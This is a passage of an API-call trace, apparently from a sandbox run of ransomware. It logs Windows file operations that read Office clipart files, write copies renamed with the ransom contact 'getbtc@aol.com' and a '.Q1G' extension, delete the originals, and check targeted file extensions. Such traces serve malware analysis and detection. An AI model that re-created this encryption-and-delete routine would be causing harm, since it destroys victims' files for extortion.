Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.203] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=6938) returned 1 [0249.203] CloseHandle (hObject=0x3bc) returned 1 [0249.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 0x20 [0249.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.205] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.205] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0249.206] GetLastError () returned 0x0 [0249.206] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1b1a, lpOverlapped=0x0) returned 1 [0249.238] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0249.239] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.239] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.239] SetEndOfFile (hFile=0x3a0) returned 1 [0249.239] CloseHandle (hObject=0x3a0) returned 1 [0249.239] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.239] SetEndOfFile (hFile=0x3bc) returned 1 [0249.242] CloseHandle (hObject=0x3bc) returned 1 [0249.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0249.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0249.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0249.243] lstrlenW (lpString=".doc") returned 4 [0249.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.243] lstrlenW (lpString=".docx") returned 5 [0249.243] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.243] lstrlenW (lpString=".pdf") returned 4 [0249.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.243] lstrlenW (lpString=".xls") returned 4 [0249.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.243] lstrlenW (lpString=".xlsx") returned 5 [0249.243] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.243] lstrlenW (lpString=".ppt") returned 4 [0249.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0249.243] lstrlenW (lpString=".zip") returned 4 [0249.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.243] lstrlenW (lpString=".rar") returned 4 [0249.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.243] lstrlenW (lpString=".bz2") returned 4 [0249.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.243] lstrlenW (lpString=".7z") returned 3 [0249.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0249.243] lstrlenW (lpString=".dbf") returned 4 [0249.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0249.243] lstrlenW (lpString=".1cd") returned 4 [0249.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0249.244] lstrlenW (lpString=".jpg") returned 4 [0249.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0249.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0249.244] lstrlenW (lpString=".doc") returned 4 [0249.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.244] lstrlenW (lpString=".docx") returned 5 [0249.244] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.244] lstrlenW (lpString=".pdf") returned 4 [0249.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.244] lstrlenW (lpString=".xls") returned 4 [0249.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.244] lstrlenW (lpString=".xlsx") returned 5 [0249.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.244] lstrlenW (lpString=".ppt") returned 4 [0249.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0249.244] lstrlenW (lpString=".zip") returned 4 [0249.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.244] lstrlenW (lpString=".rar") returned 4 [0249.244] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.244] lstrlenW (lpString=".bz2") returned 4 [0249.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.244] lstrlenW (lpString=".7z") returned 3 [0249.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0249.244] lstrlenW (lpString=".dbf") returned 4 [0249.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0249.244] lstrlenW (lpString=".1cd") returned 4 [0249.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0249.244] lstrlenW (lpString=".jpg") returned 4 [0249.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.245] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.245] lstrlenW (lpString="EN00319_.WMF") returned 12 [0249.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.245] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2280) returned 1 [0249.245] CloseHandle (hObject=0x3bc) returned 1 [0249.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 0x20 [0249.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.246] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.246] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0249.246] GetLastError () returned 0x0 [0249.246] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x8e8, lpOverlapped=0x0) returned 1 [0249.262] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x8f0, lpOverlapped=0x0) returned 1 [0249.263] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.263] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.263] SetEndOfFile (hFile=0x3a0) returned 1 [0249.263] CloseHandle (hObject=0x3a0) returned 1 [0249.263] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.264] SetEndOfFile (hFile=0x3bc) returned 1 [0249.265] CloseHandle (hObject=0x3bc) returned 1 [0249.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0249.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0249.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0249.266] lstrlenW (lpString=".doc") returned 4 [0249.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.266] lstrlenW (lpString=".docx") returned 5 [0249.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.266] lstrlenW (lpString=".pdf") returned 4 [0249.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.267] lstrlenW (lpString=".xls") returned 4 [0249.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.267] lstrlenW (lpString=".xlsx") returned 5 [0249.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.267] lstrlenW (lpString=".ppt") returned 4 [0249.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0249.267] lstrlenW (lpString=".zip") returned 4 [0249.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.267] lstrlenW (lpString=".rar") returned 4 [0249.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.267] lstrlenW (lpString=".bz2") returned 4 [0249.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.267] lstrlenW (lpString=".7z") returned 3 [0249.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0249.267] lstrlenW (lpString=".dbf") returned 4 [0249.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0249.267] lstrlenW (lpString=".1cd") returned 4 [0249.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0249.267] lstrlenW (lpString=".jpg") returned 4 [0249.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0249.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0249.267] lstrlenW (lpString=".doc") returned 4 [0249.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.267] lstrlenW (lpString=".docx") returned 5 [0249.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.267] lstrlenW (lpString=".pdf") returned 4 [0249.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.267] lstrlenW (lpString=".xls") returned 4 [0249.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.267] lstrlenW (lpString=".xlsx") returned 5 [0249.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.268] lstrlenW (lpString=".ppt") returned 4 [0249.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0249.268] lstrlenW (lpString=".zip") returned 4 [0249.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.268] lstrlenW (lpString=".rar") returned 4 [0249.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.268] lstrlenW (lpString=".bz2") returned 4 [0249.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.268] lstrlenW (lpString=".7z") returned 3 [0249.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0249.268] lstrlenW (lpString=".dbf") returned 4 [0249.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0249.268] lstrlenW (lpString=".1cd") returned 4 [0249.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0249.268] lstrlenW (lpString=".jpg") returned 4 [0249.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.268] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.268] lstrlenW (lpString="EN00397_.WMF") returned 12 [0249.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.269] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=17308) returned 1 [0249.269] CloseHandle (hObject=0x3bc) returned 1 [0249.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 0x20 [0249.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.269] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.269] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0249.270] GetLastError () returned 0x0 [0249.270] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x439c, lpOverlapped=0x0) returned 1 [0249.488] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x43a0, lpOverlapped=0x0) returned 1 [0249.489] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.489] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.489] SetEndOfFile (hFile=0x3a0) returned 1 [0249.490] CloseHandle (hObject=0x3a0) returned 1 [0249.490] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.490] SetEndOfFile (hFile=0x3bc) returned 1 [0249.492] CloseHandle (hObject=0x3bc) returned 1 [0249.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0249.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0249.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0249.493] lstrlenW (lpString=".doc") returned 4 [0249.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.493] lstrlenW (lpString=".docx") returned 5 [0249.493] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.493] lstrlenW (lpString=".pdf") returned 4 [0249.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.493] lstrlenW (lpString=".xls") returned 4 [0249.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.493] lstrlenW (lpString=".xlsx") returned 5 [0249.493] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.493] lstrlenW (lpString=".ppt") returned 4 [0249.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0249.493] lstrlenW (lpString=".zip") returned 4 [0249.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.493] lstrlenW (lpString=".rar") returned 4 [0249.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.493] lstrlenW (lpString=".bz2") returned 4 [0249.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.493] lstrlenW (lpString=".7z") returned 3 [0249.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0249.493] lstrlenW (lpString=".dbf") returned 4 [0249.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0249.493] lstrlenW (lpString=".1cd") returned 4 [0249.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0249.493] lstrlenW (lpString=".jpg") returned 4 [0249.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0249.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0249.493] lstrlenW (lpString=".doc") returned 4 [0249.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.493] lstrlenW (lpString=".docx") returned 5 [0249.493] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.494] lstrlenW (lpString=".pdf") returned 4 [0249.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.494] lstrlenW (lpString=".xls") returned 4 [0249.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.494] lstrlenW (lpString=".xlsx") returned 5 [0249.494] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.494] lstrlenW (lpString=".ppt") returned 4 [0249.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0249.494] lstrlenW (lpString=".zip") returned 4 [0249.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.494] lstrlenW (lpString=".rar") returned 4 [0249.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.494] lstrlenW (lpString=".bz2") returned 4 [0249.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.494] lstrlenW (lpString=".7z") returned 3 [0249.494] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0249.494] lstrlenW (lpString=".dbf") returned 4 [0249.494] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0249.494] lstrlenW (lpString=".1cd") returned 4 [0249.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0249.494] lstrlenW (lpString=".jpg") returned 4 [0249.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.494] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.494] lstrlenW (lpString="FD00297_.WMF") returned 12 [0249.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.746] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=18194) returned 1 [0249.746] CloseHandle (hObject=0x204) returned 1 [0249.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft 